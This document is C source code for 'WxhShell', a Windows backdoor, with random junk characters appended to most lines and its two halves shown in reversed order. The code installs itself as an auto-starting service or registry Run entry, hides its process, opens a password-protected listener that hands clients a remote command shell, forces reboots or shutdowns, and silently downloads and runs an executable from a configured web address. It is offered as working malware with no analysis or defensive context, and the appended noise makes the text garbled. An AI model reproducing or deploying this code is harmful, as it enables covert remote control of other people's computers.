    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k]9y+WC2  
    else { }ww`Y&#  
    closesocket(wsh); 19:1n]*X<  
    ExitThread(0); ?jU 3%"  
    } OWp`Wat  
    break; E&ReQgBft  
    } -nZDFC8y$  
  // 获取shell R_=fH\c;  
  case 's': { _ mgu r  
    CmdShell(wsh); p@?ud%  
    closesocket(wsh); *Oq& g\K)  
    ExitThread(0); F;MACu;x  
    break; OGcW]i  
  } ,ZZ5A;)  
  // 退出 h05BZrE  
  case 'x': { YB_fy8Tfx  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l15Z8hYh j  
    CloseIt(wsh); 6H!l>@a7v  
    break; yb-4[C:i  
    } @zJiR{Je-U  
  // 离开 wn.UjxX.  
  case 'q': { \"X_zM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @ %o'  
    closesocket(wsh); !Ld[`d.|R!  
    WSACleanup(); `NyO|9/4  
    exit(1); HOrXxxp1^  
    break; n0)y|B#  
        } y,6KU$G  
  } >x]ir  
  } 8yybZ@  
\'&,9lP  
  // 提示信息 R*H-QH/H1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &srD7v9M8  
} psuK\ s  
  } ex.^V sf_  
lm*C:e)4A  
  return; ./<giTR:p  
} NAO0b5-h  
+1a2Un  
// shell模块句柄 <.{OIIuk  
int CmdShell(SOCKET sock) )1g\v8XT  
{ $,o@&QT?AT  
STARTUPINFO si; v <m=g!  
ZeroMemory(&si,sizeof(si)); sRQ4pnnrn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +.v+Opp,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Pk6_1LV  
PROCESS_INFORMATION ProcessInfo; paUJq?Af  
char cmdline[]="cmd"; zhh6;>P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z`YAOhD*h4  
  return 0; PB #EU 9  
} H|3CZ=U?  
Y2|c;1~5$  
// 自身启动模式 sfp.>bMj  
int StartFromService(void) 9Qq%Fw_  
{ Icx)+Mq  
typedef struct aNgJm~K0P  
{ L?(m5u~b  
  DWORD ExitStatus; wS [k}  
  DWORD PebBaseAddress; E?jb?  
  DWORD AffinityMask; M8VsU*aU  
  DWORD BasePriority; AgWG4C=  
  ULONG UniqueProcessId; t'DIKug&  
  ULONG InheritedFromUniqueProcessId; }:\e "Bfv  
}   PROCESS_BASIC_INFORMATION; F<O<=Ww  
=%{E^z>1  
PROCNTQSIP NtQueryInformationProcess; SJlL!<i$  
=kw6<!R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;I>77gi`]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d 1 O+qS  
:eBp`dmn  
  HANDLE             hProcess; \wp8kSzC  
  PROCESS_BASIC_INFORMATION pbi; }7i}dyQv}  
k~]\kv=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @9g!5dcT  
  if(NULL == hInst ) return 0; f|,2u5 ;z  
&>Z p}.V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mFyYn,Mu|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N8Un42  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `nL^]i  
}b>e lz  
  if (!NtQueryInformationProcess) return 0; V_9> Z?  
RohD.`D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wEEFpn_   
  if(!hProcess) return 0; >+S* Wtm5  
% %QAC4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u]<`y6=&C  
Jh%k:TrBm  
  CloseHandle(hProcess); 9QkIMJf0e  
$]b&3_O$N8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CM+wkU ?,  
if(hProcess==NULL) return 0; BgwZZ<B  
>H?~2O  
HMODULE hMod; tmC9p6%  
char procName[255]; &uJ7[m19z  
unsigned long cbNeeded; S4%MnT6Uy  
)Ju$PrO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e0<L^|S  
leEzfbb{'.  
  CloseHandle(hProcess); tUs{/Je  
[~ |e:  
if(strstr(procName,"services")) return 1; // 以服务启动 gR{.0e  
q?oJ=]m"  
  return 0; // 注册表启动 7 P]Sc   
} +e) RT<  
dYhLk2  
// 主模块 mWU*}-M  
int StartWxhshell(LPSTR lpCmdLine) 0Y\7A  
{ =Y5*J#  
  SOCKET wsl; .w)T2(  
BOOL val=TRUE; 1;9  %L@  
  int port=0; CYC6:g|)  
  struct sockaddr_in door; Ox f,2r  
h_h6@/1l  
  if(wscfg.ws_autoins) Install(); 0"M0tA#  
e7gWz~  
port=atoi(lpCmdLine); b"z9Dpv  
%suXp,j  
if(port<=0) port=wscfg.ws_port; P C  
2n5{H fpY  
  WSADATA data; :6Sb3w5h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a<{+ J U5  
p%*! ]JRS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7 m!e\x8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _Y,d|!B#L  
  door.sin_family = AF_INET; evHKq}{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wB W]w  
  door.sin_port = htons(port); PRF^<%mkI  
~ TALpd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "G!V?~;  
closesocket(wsl); 9!|.b::  
return 1; wz] OM  
} L}%4YB  
Ci^tP~)&"  
  if(listen(wsl,2) == INVALID_SOCKET) { @T+pQ)0{{  
closesocket(wsl); +Pm }_"GU  
return 1; Z=P=oldH  
} lr@H4EJ{  
  Wxhshell(wsl); [+v}V ,jb  
  WSACleanup(); Oo 95\Yf$N  
Nh|QYxOP  
return 0; s&*s9F  
`=f1rXhI+1  
} '|N9xL m  
dCH(N_  
// 以NT服务方式启动 Gu136XiX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Qws#v}xF  
{ z"lRfOWI  
DWORD   status = 0; 1~P ^ g`  
  DWORD   specificError = 0xfffffff; (1b%);L7  
R?[KK<sWWe  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nxh9'"th  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  ~WG#Zci-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p![CH  
  serviceStatus.dwWin32ExitCode     = 0; Y+I`XeY  
  serviceStatus.dwServiceSpecificExitCode = 0; e#$ZOK)`  
  serviceStatus.dwCheckPoint       = 0; L1E\^)  
  serviceStatus.dwWaitHint       = 0; s"\o6r ,  
BpKgUwf;C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); APR%ZpG  
  if (hServiceStatusHandle==0) return; 6?c(ueiL[  
I~>L4~g)  
status = GetLastError(); Px))O&w{  
  if (status!=NO_ERROR) \ >(;t#>  
{ %L$P']%t@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 29=L7  
    serviceStatus.dwCheckPoint       = 0; KI="O6 h  
    serviceStatus.dwWaitHint       = 0; f i3<  
    serviceStatus.dwWin32ExitCode     = status; K r&HT,>B  
    serviceStatus.dwServiceSpecificExitCode = specificError; i3} ^j?jA2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]gQ4qu5  
    return; 5:H9B  
  } ?pv}~>  
DHV#PLbN$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T9+ ?A l  
  serviceStatus.dwCheckPoint       = 0; +}@HtjM  
  serviceStatus.dwWaitHint       = 0; VJeN m3WNb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xFY;aK  
} Y+tXWN"8  
=NzA2td  
// 处理NT服务事件,比如:启动、停止 8y{<M"v+/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ctL@&~*nY  
{ lS(?x|dO  
switch(fdwControl) @u2nG:FG  
{ 'L2M  W  
case SERVICE_CONTROL_STOP: }$ Am;%?p  
  serviceStatus.dwWin32ExitCode = 0; :d<;h:^_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 217KJ~)'  
  serviceStatus.dwCheckPoint   = 0; $h-5PwHp  
  serviceStatus.dwWaitHint     = 0; -)tu$W*  
  { r='"X#CmV/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dviL5Eaj  
  } mu/O\'5  
  return; ArUGa(; f  
case SERVICE_CONTROL_PAUSE: WoiK _Ud  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Hs+VA$$*  
  break; "oYyeT ,?  
case SERVICE_CONTROL_CONTINUE: [a*m9F\ ,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^V~r S8]gj  
  break; ?1('s0s\,  
case SERVICE_CONTROL_INTERROGATE: <Dw`Ur^X5  
  break; !RnO{FL  
}; !ldb_*)h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zZ|Si  
} 1;[\xqJ  
o~F @1  
// 标准应用程序主函数 q@p-)+D;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ! \H!9FR  
{ _e=R[  
4cql?W(D  
// 获取操作系统版本 ?s("@dz_  
OsIsNt=GetOsVer(); d"|XN{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); oO|zRK1;/  
gaC^<\J  
  // 从命令行安装 u><gmp&  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,iU ]zN//  
 # a 'h,  
  // 下载执行文件 m[C-/f^u|  
if(wscfg.ws_downexe) { */n)_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +!V*{<K  
  WinExec(wscfg.ws_filenam,SW_HIDE); /)xG%J7H  
} [BHf>  
Mrp'wF D  
if(!OsIsNt) { 8Z!+1b  
// 如果时win9x,隐藏进程并且设置为注册表启动 k|,pj^  
HideProc(); F+_4Q  
StartWxhshell(lpCmdLine); PqIGc  
} H>[1D H#b  
else QtQku1{  
  if(StartFromService()) +n]U3b  
  // 以服务方式启动 ]S[zD|U%  
  StartServiceCtrlDispatcher(DispatchTable); ;5A&[]@^^@  
else a2*WZc`  
  // 普通方式启动 {hX. R  
  StartWxhshell(lpCmdLine); dx@#6Fhy  
R v6{ '\:  
return 0; W 0Q-&4  
} X|H%jdta  
su(y*187A  
0 iW]#O/  
5f7;pS<  
=========================================== jpqq>Hbg_  
I;L $Nf{v  
bh?Vufd%)  
uYS?# g  
\@Gyl_6^  
pc5-'; n  
" TdP_L/>|J  
E) >~0jv  
#include <stdio.h> -,et. *  
#include <string.h> )]!Ps` ,u  
#include <windows.h> zGu(y@o  
#include <winsock2.h> fEdQR->  
#include <winsvc.h>  FZnkQ  
#include <urlmon.h> O: sjf?z  
K GkzE  
#pragma comment (lib, "Ws2_32.lib") 'bkecC  
#pragma comment (lib, "urlmon.lib") t(CdoE,6  
Lm9y!>1"O  
#define MAX_USER   100 // 最大客户端连接数 0X-u'=Bs  
#define BUF_SOCK   200 // sock buffer er^z:1'  
#define KEY_BUFF   255 // 输入 buffer X",fp  
>\8Bu#&s4  
#define REBOOT     0   // 重启 tuK"}HepB  
#define SHUTDOWN   1   // 关机 =R!=uml(  
+M (\R?@gr  
#define DEF_PORT   5000 // 监听端口 Fm{Ri=X<:  
52tIe|KwL  
#define REG_LEN     16   // 注册表键长度 5SK{^hw  
#define SVC_LEN     80   // NT服务名长度 ?};}#%971  
(80]xLEBL  
// 从dll定义API 31wact^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JTpKF_Za<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B @UaaWh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'rRo2oTN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rOB-2@-  
xzy7I6X  
// wxhshell配置信息 ,Vt7Kiu  
struct WSCFG { '  G-]>  
  int ws_port;         // 监听端口 c}Y(Myd  
  char ws_passstr[REG_LEN]; // 口令 UMo=bs  
  int ws_autoins;       // 安装标记, 1=yes 0=no Qwk  
  char ws_regname[REG_LEN]; // 注册表键名 oKz|hks[6  
  char ws_svcname[REG_LEN]; // 服务名 Uq~{=hMX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |h*H;@$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (}"r 5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vAq`*]W+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Us M|OH5k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D<#+ R"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `.Y["f 1B  
Mvrc[s+o  
}; F^IYx~:  
C!B2 .:ja  
// default Wxhshell configuration -Uq I=#  
struct WSCFG wscfg={DEF_PORT, LCRreIIgZ  
    "xuhuanlingzhe", @W=#gRqQPy  
    1, xqO'FQO%  
    "Wxhshell", RERum  
    "Wxhshell", zVZZdG~8  
            "WxhShell Service", Jj|HeZ1C f  
    "Wrsky Windows CmdShell Service", #wNksh/J^  
    "Please Input Your Password: ", q*Yh_IT.I  
  1, /P5w}n  
  "http://www.wrsky.com/wxhshell.exe", a =*(>=  
  "Wxhshell.exe" NUEy0pLw  
    }; OTL=(k  
{~k /xM.-  
// 消息定义模块 bec n$R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $f*N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ln'7kg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  ]P(:z  
char *msg_ws_ext="\n\rExit."; 3) zanoYHi  
char *msg_ws_end="\n\rQuit."; c7q1;X{:  
char *msg_ws_boot="\n\rReboot..."; %(Nu"3|$K=  
char *msg_ws_poff="\n\rShutdown..."; ._~_OVU  
char *msg_ws_down="\n\rSave to "; (X,Ua+{  
za1MSR  
char *msg_ws_err="\n\rErr!"; vO%n~l=  
char *msg_ws_ok="\n\rOK!"; p8oOm>B96n  
x$J1%K*  
char ExeFile[MAX_PATH]; 2+TCFpv  
int nUser = 0; *.r i8  
HANDLE handles[MAX_USER]; X7?p$!M6;B  
int OsIsNt; 9loWh5_1Z  
U GQ{QH  
SERVICE_STATUS       serviceStatus; {%9)l,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \ZigG{  
S WVeUL#5  
// 函数声明 rF2`4j&!  
int Install(void); Ps+0qqT*  
int Uninstall(void); tjBs>w  
int DownloadFile(char *sURL, SOCKET wsh); (8qMF{  
int Boot(int flag); 5CueD]  
void HideProc(void); yN5g]U. Q  
int GetOsVer(void); 4cRF3$a md  
int Wxhshell(SOCKET wsl); $}jp=?,t  
void TalkWithClient(void *cs); 7$<.I#x  
int CmdShell(SOCKET sock); wXMKQ)$(  
int StartFromService(void); KF|+# qCN  
int StartWxhshell(LPSTR lpCmdLine); "2i{ L '  
V'#dY~E-P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _~&6Kb^*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *$Z}v&-0k  
iN"kv   
// 数据结构和表定义 JC(rSs*  
SERVICE_TABLE_ENTRY DispatchTable[] = 4v T!xn  
{ VJDF/)X3$  
{wscfg.ws_svcname, NTServiceMain}, >E|@3g +2  
{NULL, NULL} GRB/N1=  
}; `$ZX]6G  
Y|_ #yb  
// 自我安装 MGfDxHg]  
int Install(void) ,G!M?@Q  
{ P(_D%0xKm  
  char svExeFile[MAX_PATH]; &dh%sFy  
  HKEY key; n`2 d   
  strcpy(svExeFile,ExeFile); 81eDN6 M\  
3xxQL,FV  
// 如果是win9x系统,修改注册表设为自启动 pzbR.L}'D  
if(!OsIsNt) { 8V>j-C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .mn`/4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NKvBNf|D  
  RegCloseKey(key); WW{5[;LYiB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :.'<ndM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &M,a+|yuY  
  RegCloseKey(key); X|q&0W=  
  return 0; <{bQl L  
    } gS_)(  
  } 8i!AJF9IQ}  
} l Q]&:%^\  
else { rmu5K$pl  
p @&>{hi@  
// 如果是NT以上系统,安装为系统服务 !Y>lAxd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6v (}<2~  
if (schSCManager!=0) 9 [v=`  
{ 15+>W4v  
  SC_HANDLE schService = CreateService |!E>I  
  ( dqnH7okZ  
  schSCManager, y  >r7(qg  
  wscfg.ws_svcname, z8_m<uewz  
  wscfg.ws_svcdisp, ns[v.YDL  
  SERVICE_ALL_ACCESS, {a\O7$A\F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5ppOG_  
  SERVICE_AUTO_START, |iKk'Rta4  
  SERVICE_ERROR_NORMAL, (9% ki$=}+  
  svExeFile, bXF>{%(}E  
  NULL, Oi AZA<  
  NULL, -$**/~0zU  
  NULL, U`N|pPe:w  
  NULL, AD#]PSB  
  NULL V>ML-s9  
  ); L^bt-QbhO  
  if (schService!=0) 7K,Quq.%+  
  { 4z#{nZG  
  CloseServiceHandle(schService); 3sIW4Cs7)U  
  CloseServiceHandle(schSCManager); MGze IrV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); usH9dys,  
  strcat(svExeFile,wscfg.ws_svcname); I_6NY,dF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,yus44w[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M.$Li#So,  
  RegCloseKey(key); g@wF2=  
  return 0; zs e<b/G1G  
    } >J[Bf9)>  
  } |I-;CoAg  
  CloseServiceHandle(schSCManager); ~qt)r_jW  
} 3:@2gp!tq  
} Jz7a|pgep  
Z>gxECi  
return 1; `bT!_Ru  
} Wt4ROj  
Gdmh#pv  
// 自我卸载  UhN16|x  
int Uninstall(void) ,@kD9n5#  
{ 1^XuH('  
  HKEY key; ' N^\9X0  
d~F`q7F'?]  
if(!OsIsNt) { ^`~M f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _;(`u!@/{  
  RegDeleteValue(key,wscfg.ws_regname); ]Q,;5>#W  
  RegCloseKey(key); /_<`#?5T(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3[I; 3=O  
  RegDeleteValue(key,wscfg.ws_regname); _G%]d$2f`  
  RegCloseKey(key); EBlfwFd  
  return 0; W&CQ87b  
  } yTzP{I  
} uMVM-(g%  
} %|E'cdvkX  
else { `q|&;wP.  
mAMi-9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); **_`AM~  
if (schSCManager!=0) D,q=?~  
{ Py7!_TX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t\~lGG-p  
  if (schService!=0) i)9}+M 5  
  { ;,P-2\V/  
  if(DeleteService(schService)!=0) { QR4rQu  
  CloseServiceHandle(schService); &7z79#1NS  
  CloseServiceHandle(schSCManager); aEU[k>&  
  return 0; ]@X5'r"  
  } z@;]Hy  
  CloseServiceHandle(schService); ,K9\;{C  
  } 3D_Ky Z~M+  
  CloseServiceHandle(schSCManager); ,dT.q  
} io :g ]g  
} X8~dFjhX  
*uHL'Pe;m  
return 1; uo0g51%9  
} ,: g.B\'Q  
-YM#.lQ  
// 从指定url下载文件 )Y%>t  
int DownloadFile(char *sURL, SOCKET wsh) n,sf$9"  
{ "hwg";Z$n  
  HRESULT hr; f!6oW(r-L  
char seps[]= "/"; =|>CB  
char *token; Y<|!)JLB2  
char *file; S\fEV"  
char myURL[MAX_PATH]; 3sG7G:4  
char myFILE[MAX_PATH];  aEUC  
Fe 3*pUt  
strcpy(myURL,sURL); mr:;Wwd  
  token=strtok(myURL,seps); Yhdt"@;..  
  while(token!=NULL) 1HQh%dZZ  
  { ?#8',:  
    file=token; r~cmrLQa  
  token=strtok(NULL,seps); #qkokV6`  
  } &y` MDyXz  
' >(])Oq,  
GetCurrentDirectory(MAX_PATH,myFILE); H QHFD0hv  
strcat(myFILE, "\\"); KHwzQ<Z3  
strcat(myFILE, file); AA][}lU:5  
  send(wsh,myFILE,strlen(myFILE),0); z_qy >  
send(wsh,"...",3,0); ~\= VSwJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [A$5~/Q{U1  
  if(hr==S_OK) *9:oTN  
return 0; LhM{LUi  
else l`lo5:w  
return 1; KrO oxrDcp  
s( @w1tS.  
} &8'.Gw m}  
%Q]u_0P*  
// 系统电源模块 lfjY45=  
int Boot(int flag) yXU-@~  
{ (vte8uQe  
  HANDLE hToken; bqug o  
  TOKEN_PRIVILEGES tkp; s2Gi4fY?  
Y.I-h l1<r  
  if(OsIsNt) { zJ{?'kp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6o@}k9AN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 89@\AjI  
    tkp.PrivilegeCount = 1; 8N<0|u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W{E2 2J}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,#3}TDC  
if(flag==REBOOT) { kp3(/`xP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y*2R#jTA  
  return 0; /dTy%hZC}  
} `5 py6,  
else { (]7*Kq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3wXmX  
  return 0; >Gbj1>C}  
} EtN@ 6xP  
  } bc}X.IC  
  else { vW4~\]  
if(flag==REBOOT) { -r/G)Rs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <>aBmJs4  
  return 0; 5 e:Urv77  
} b *IJ +  
else { B{|g+c%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /CpUq;^  
  return 0; 3/I Q]8g"  
} $ tf;\R  
} W- wy<<~f  
g*b 4N _  
return 1; 9tZ)#@\  
} 97:1L4w.(  
/UeLf $%ZW  
// win9x进程隐藏模块 qh Ezv~  
void HideProc(void) A^7!:^%K  
{ YArNJ5z=  
1|Y(XB^os(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8f>=.O*)  
  if ( hKernel != NULL ) }qfr&Ffh@  
  { 8Ml&lfn_8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'Z2:u!E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Dd|}LV  
    FreeLibrary(hKernel); g-'y_'%0G  
  } zx^]3}  
h}xUZ:  
return; #1R_* Uh  
} 0 eZfHW&  
H"(:6 `  
// 获取操作系统版本 MhC74G  
int GetOsVer(void) 1?)iCe  
{ xw: v|(  
  OSVERSIONINFO winfo; .d`+#1Ot(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T=cSTS!P;q  
  GetVersionEx(&winfo); Rf@D]+v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;SQ<^"eK  
  return 1; Wd4fIegk  
  else *Yv"lB8  
  return 0; 2&91C[da0  
} $;un$ko6%  
<B 5^  
// 客户端句柄模块 8>x.zO_.c>  
int Wxhshell(SOCKET wsl) N_<sCRd]9  
{ /H.QGPr  
  SOCKET wsh; \3K6NA!L  
  struct sockaddr_in client; BmYU#h  
  DWORD myID; 8)/i\=N3;  
zjgK78!<  
  while(nUser<MAX_USER) gd<8RVA  
{ oTZ?x}Z1  
  int nSize=sizeof(client); "?,3O2t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FD(zj^*  
  if(wsh==INVALID_SOCKET) return 1; 6QdNGpN  
ANSvZqKh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9[DQ[bL  
if(handles[nUser]==0) nPq\J~M  
  closesocket(wsh); ~\dpD  
else >_M}l @1  
  nUser++; \Ekez~k{`  
  } Qu]0BVIe  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 43rM?_72  
"FQh^+  
  return 0; )hk=wu6  
} b{)('C$  
TI}H(XL(  
// 关闭 socket  .Pq8C  
void CloseIt(SOCKET wsh) qx 3.oU  
{ k/l@P  
closesocket(wsh); 4,9AoK)yp  
nUser--; =1^a/  
ExitThread(0); ih `/1n  
} #%VprcEK  
T Uhp  
// 客户端请求句柄 *pP"u::S  
void TalkWithClient(void *cs) 0kgK~\^,.O  
{ YN] w_=  
t )Z2"_5  
  SOCKET wsh=(SOCKET)cs; ]SrKe-*:U  
  char pwd[SVC_LEN]; [e)81yZG>  
  char cmd[KEY_BUFF]; :w_F<2d0 0  
char chr[1]; !boKrSw  
int i,j; 9CJUOB>]  
iM2 EEC  
  while (nUser < MAX_USER) { fEs957$  
`'Ta=kd3  
if(wscfg.ws_passstr) { L:YsAv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1 hZM))  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c Yx=8~-  
  //ZeroMemory(pwd,KEY_BUFF); ZJ"*A+IJx[  
      i=0; fLI@;*hL0  
  while(i<SVC_LEN) { ;KQ'/nII  
qU8UKIP  
  // 设置超时 VR?7{3  
  fd_set FdRead; <6<uO\B\  
  struct timeval TimeOut; w :FH2*  
  FD_ZERO(&FdRead); &_4A6  
  FD_SET(wsh,&FdRead); UTA0B&aB  
  TimeOut.tv_sec=8; +lJuF/sS8m  
  TimeOut.tv_usec=0; ?3SlvKI}H`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $ajw]2kx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |L;'In  
W3UK[_qK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `m<="No  
  pwd=chr[0]; 6AUzS4O  
  if(chr[0]==0xd || chr[0]==0xa) { I#eIm3Y?  
  pwd=0; xHsH .f_{  
  break; `^AbFV 3  
  } `H$s -PX  
  i++; |+6Z+-.Hg  
    } };oRx)  
@PwEom`a  
  // 如果是非法用户,关闭 socket ?]fBds=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7P/j\frW  
} IX7d[nm39  
Ccz:NpK+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qjR;c& qR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x(}tr27o  
I.x0$ac7  
while(1) { ~ $r^Ur!E\  
W<!q>8Xn?  
  ZeroMemory(cmd,KEY_BUFF); BCUw"R#  
RB/[(4  
      // 自动支持客户端 telnet标准   lG# &Pv>-  
  j=0; K'?ab 0  
  while(j<KEY_BUFF) { bG^eP :r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jr17pu(t  
  cmd[j]=chr[0]; 4n3QW%#  
  if(chr[0]==0xa || chr[0]==0xd) { 2IjqT L  
  cmd[j]=0; hN\E8"To  
  break; w41#? VC/  
  } !c6 lP'U  
  j++; 1<\cMY6  
    } p00\C  
Rp`}"x9  
  // 下载文件 l^$:R~gS  
  if(strstr(cmd,"http://")) { PNc200`v4_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d,<ctd  
  if(DownloadFile(cmd,wsh)) !LIWoa[ F.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); asQ" |]m  
  else w-/bLg[L?$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s #L1:L  
  } 0RoI`>j'  
  else { GQF7]j/  
(59<Zo  
    switch(cmd[0]) { X0vkdNgW  
  &)s A(  
  // 帮助 1pzU=!R?-O  
